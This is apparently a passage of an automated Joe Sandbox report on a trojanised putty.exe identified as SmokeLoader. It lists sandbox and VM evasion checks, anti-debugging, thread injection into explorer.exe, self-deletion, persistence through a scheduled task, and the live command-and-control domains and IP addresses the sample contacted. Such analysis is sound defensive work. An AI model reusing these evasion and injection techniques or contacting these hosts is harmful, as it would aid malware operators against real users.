Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_004010B4 push ss; ret	0_2_004010B5
Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_0084D68A push ebp; iretd	0_2_0084D690
Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_0084DDCA push es; iretd	0_2_0084DDCB
Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_0084D6D6 push ss; ret	0_2_0084D6D7
Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_008540EC push esi; retf	0_2_008540ED
Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_0084F64C push ebx; ret	0_2_0084F652
Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_00851B62 push ds; ret	0_2_00851B75
Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_009418DC push es; iretd	0_2_009418DD
Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_009410CF push ebp; iretd	0_2_009410D5
Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_0094111B push ss; ret	0_2_0094111C
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_00401068 push ebp; iretd	4_2_0040106E
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_004010B4 push ss; ret	4_2_004010B5
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_008810CF push ebp; iretd	4_2_008810D5
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_008818DC push es; iretd	4_2_008818DD
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_0088111B push ss; ret	4_2_0088111C
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_00AB2BB4 push esi; retf	4_2_00AB2BB5
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_00AAC19E push ss; ret	4_2_00AAC19F
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_00AAC892 push es; iretd	4_2_00AAC893
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_00AB062A push ds; ret	4_2_00AB063D
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_00AAE114 push ebx; ret	4_2_00AAE11A
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_00AAC152 push ebp; iretd	4_2_00AAC158

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\hajefwb

Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\hajefwb

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\putty.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\hajefwb:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\putty.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\putty.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\putty.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\putty.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\putty.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\putty.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hajefwb	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hajefwb	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hajefwb	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hajefwb	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hajefwb	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hajefwb	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\putty.exe	API/Special instruction interceptor: Address: 7FF8C88EE814
Source: C:\Users\user\Desktop\putty.exe	API/Special instruction interceptor: Address: 7FF8C88ED584
Source: C:\Users\user\AppData\Roaming\hajefwb	API/Special instruction interceptor: Address: 7FF8C88EE814
Source: C:\Users\user\AppData\Roaming\hajefwb	API/Special instruction interceptor: Address: 7FF8C88ED584

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: putty.exe, 00000000.00000002.2176960417.000000000083E000.00000004.00000020.00020000.00000000.sdmp, hajefwb, 00000004.00000002.2439614635.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ASWHOOK

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 382	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 848	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1113	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 3608	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 866	Jump to behavior

Source: C:\Windows\explorer.exe TID: 1708	Thread sleep count: 382 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3504	Thread sleep count: 848 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3504	Thread sleep time: -84800s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6104	Thread sleep count: 1113 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6104	Thread sleep time: -111300s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5688	Thread sleep count: 249 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5880	Thread sleep count: 308 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5880	Thread sleep time: -30800s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 380	Thread sleep count: 295 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6104	Thread sleep count: 3608 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6104	Thread sleep time: -360800s >= -30000s	Jump to behavior

Source: explorer.exe, 00000002.00000000.2164199732.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}99105f770555d7dd
Source: explorer.exe, 00000002.00000000.2167378082.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0r
Source: explorer.exe, 00000002.00000000.2167378082.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000002.00000000.2167378082.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTcaVMWare
Source: explorer.exe, 00000002.00000000.2167378082.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000%
Source: explorer.exe, 00000002.00000000.2167378082.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000002.00000000.2162348523.0000000003530000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: explorer.exe, 00000002.00000000.2167378082.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000002.00000000.2161750223.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000A
Source: explorer.exe, 00000002.00000000.2162348523.0000000003530000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware-42 27 d9 2e dc 89 72 dX
Source: explorer.exe, 00000002.00000000.2164199732.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}^
Source: explorer.exe, 00000002.00000000.2167378082.0000000009B2C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000002.00000000.2162348523.0000000003530000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.NoneVMware-42 27 d9 2e dc 89 72 dX
Source: explorer.exe, 00000002.00000000.2162348523.0000000003530000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware,p
Source: explorer.exe, 00000002.00000000.2167378082.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000_
Source: explorer.exe, 00000002.00000000.2167378082.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}0#{5-
Source: explorer.exe, 00000002.00000000.2161750223.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000002.00000000.2167378082.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000002.00000000.2164199732.000000000769A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\putty.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\putty.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\putty.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\hajefwb	System information queried: CodeIntegrityInformation			Jump to behavior

Source: C:\Users\user\Desktop\putty.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\hajefwb	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_0084C45D push dword ptr fs:[00000030h]	0_2_0084C45D
Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_00940D90 mov eax, dword ptr fs:[00000030h]	0_2_00940D90
Source: C:\Users\user\Desktop\putty.exe	Code function: 0_2_0094092B mov eax, dword ptr fs:[00000030h]	0_2_0094092B
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_00880D90 mov eax, dword ptr fs:[00000030h]	4_2_00880D90
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_0088092B mov eax, dword ptr fs:[00000030h]	4_2_0088092B
Source: C:\Users\user\AppData\Roaming\hajefwb	Code function: 4_2_00AAAF25 push dword ptr fs:[00000030h]	4_2_00AAAF25

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: hajefwb.2.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 94.156.177.51 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 194.85.61.76 80			Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\putty.exe	Thread created: C:\Windows\explorer.exe EIP: 3041998			Jump to behavior
Source: C:\Users\user\AppData\Roaming\hajefwb	Thread created: unknown EIP: 8381998			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\putty.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\putty.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hajefwb	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hajefwb	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Source: explorer.exe, 00000002.00000000.2167378082.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd=
Source: explorer.exe, 00000002.00000000.2162061323.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000002.00000000.2162061323.0000000001731000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.2163274118.0000000004B00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000002.00000000.2162061323.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000002.00000000.2162061323.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000002.00000000.2161750223.0000000000EF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PProgman

Source: C:\Users\user\AppData\Roaming\hajefwb

Code function: 6_2_004055EB GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

6_2_004055EB

Source: C:\Users\user\Desktop\putty.exe

Code function: 0_2_0041E7A0 GetDateFormatA,FoldStringA,BuildCommDCBA,GetTimeFormatA,SetProcessPriorityBoost,SetFileAttributesA,UnregisterWaitEx,SetLocaleInfoA,InterlockedDecrement,GetCommandLineA,SetErrorMode,GetAtomNameA,SearchPathA,SetDefaultCommConfigA,GetConsoleAliasW,GetVersionExA,DisconnectNamedPipe,GetEnvironmentStringsW,WriteConsoleOutputW,GetModuleHandleA,OpenFileMappingW,LocalAlloc,InterlockedIncrement,

0_2_0041E7A0

Stealing of Sensitive Information

Yara detected SmokeLoader

Source: Yara match	File source: 4.3.hajefwb.890000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.hajefwb.880e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.putty.exe.940e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.putty.exe.950000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.hajefwb.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.putty.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2177513700.0000000002471000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2439563956.00000000009E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2439353004.0000000000890000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2177303401.0000000000950000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2110499167.0000000000950000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2388445359.0000000000890000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 4.3.hajefwb.890000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.hajefwb.880e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.putty.exe.940e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.putty.exe.950000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.hajefwb.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.putty.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2177513700.0000000002471000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2439563956.00000000009E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2439353004.0000000000890000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2177303401.0000000000950000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2110499167.0000000000950000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2388445359.0000000000890000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	32 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Virtualization/Sandbox Evasion	LSASS Memory	511 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	32 Process Injection	Security Account Manager	12 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Hidden Files and Directories	NTDS	3 Process Discovery	Distributed Component Object Model	Input Capture	113 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	14 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
putty.exe	38%	Virustotal		Browse
putty.exe	47%	ReversingLabs
putty.exe	100%	Avira	HEUR/AGEN.1312567
putty.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\hajefwb	100%	Avira	HEUR/AGEN.1312567
C:\Users\user\AppData\Roaming\hajefwb	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\hajefwb	47%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://constractionscity1991.lat/	100%	Avira URL Cloud	malware
http://connecticutproperty.ru/	100%	Avira URL Cloud	malware
http://restructurisationservice.ru/	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
constractionscity1991.lat	94.156.177.51	true	false	high
restructurisationservice.ru	94.156.177.51	true	false	high
connecticutproperty.ru	194.85.61.76	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://connecticutproperty.ru/	true	Avira URL Cloud: malware	unknown
http://constractionscity1991.lat/	true	Avira URL Cloud: malware	unknown
http://restructurisationservice.ru/	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://word.office.comon	explorer.exe, 00000002.00000000.2167378082.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	false	high
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000002.00000000.2170453754.000000000C81C000.00000004.00000001.00020000.00000000.sdmp	false	high
https://android.notify.windows.com/iOS	explorer.exe, 00000002.00000000.2164199732.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	false	high
https://powerpoint.office.comcember	explorer.exe, 00000002.00000000.2169811038.000000000C460000.00000004.00000001.00020000.00000000.sdmp	false	high
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	explorer.exe, 00000002.00000000.2169811038.000000000C4DC000.00000004.00000001.00020000.00000000.sdmp	false	high
https://api.msn.com/	explorer.exe, 00000002.00000000.2167378082.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp	false	high
https://excel.office.com	explorer.exe, 00000002.00000000.2167378082.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	false	high
http://schemas.micro	explorer.exe, 00000002.00000000.2166756581.0000000008890000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.2166091631.0000000007DC0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.2166717992.0000000008870000.00000002.00000001.00040000.00000000.sdmp	false	high
http://crl.v	explorer.exe, 00000002.00000000.2161750223.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	false	high
https://outlook.com	explorer.exe, 00000002.00000000.2167378082.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	false	high
https://wns.windows.com/)s	explorer.exe, 00000002.00000000.2167378082.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
94.156.177.51	constractionscity1991.lat	Bulgaria		43561	NET1-ASBG	false
194.85.61.76	connecticutproperty.ru	Russian Federation		48287	RU-CENTERRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578162
Start date and time:	2024-12-19 10:56:48 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	putty.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@3/2@3/2
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 97% Number of executed functions: 34 Number of non-executed functions: 17
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 4.245.163.56
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target hajefwb, PID 3648 because there are no executed function
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
04:58:00	API Interceptor	429384x Sleep call for process: explorer.exe modified
10:58:11	Task Scheduler	Run new task: Firefox Default Browser Agent E7DF06E12256AB2C path: C:\Users\user\AppData\Roaming\hajefwb

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
94.156.177.51	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.vbs	Get hash	malicious	SmokeLoader	Browse	restructurisationservice.ru/
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	restructurisationservice.ru/
	#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js	Get hash	malicious	SmokeLoader	Browse	restructurisationservice.ru/
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	restructurisationservice.ru/
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js	Get hash	malicious	SmokeLoader	Browse	restructurisationservice.ru/
194.85.61.76	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	connecticutproperty.ru/
	Quotation sheet.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.mrpokrovskii.pro/2pji/
	PO #2411071822.exe	Get hash	malicious	FormBook	Browse	www.mrpokrovskii.pro/2pji/
	Quotation.exe	Get hash	malicious	FormBook	Browse	www.mrpokrovskii.pro/2pji/
	payments.exe	Get hash	malicious	FormBook	Browse	www.mrpokrovskii.pro/2pji/
	RECIEPT.PDF.exe	Get hash	malicious	FormBook	Browse	www.vpnboo.online/4kww/
	LgzpILNkS2.exe	Get hash	malicious	FormBook	Browse	www.vpnboo.online/m5yo/
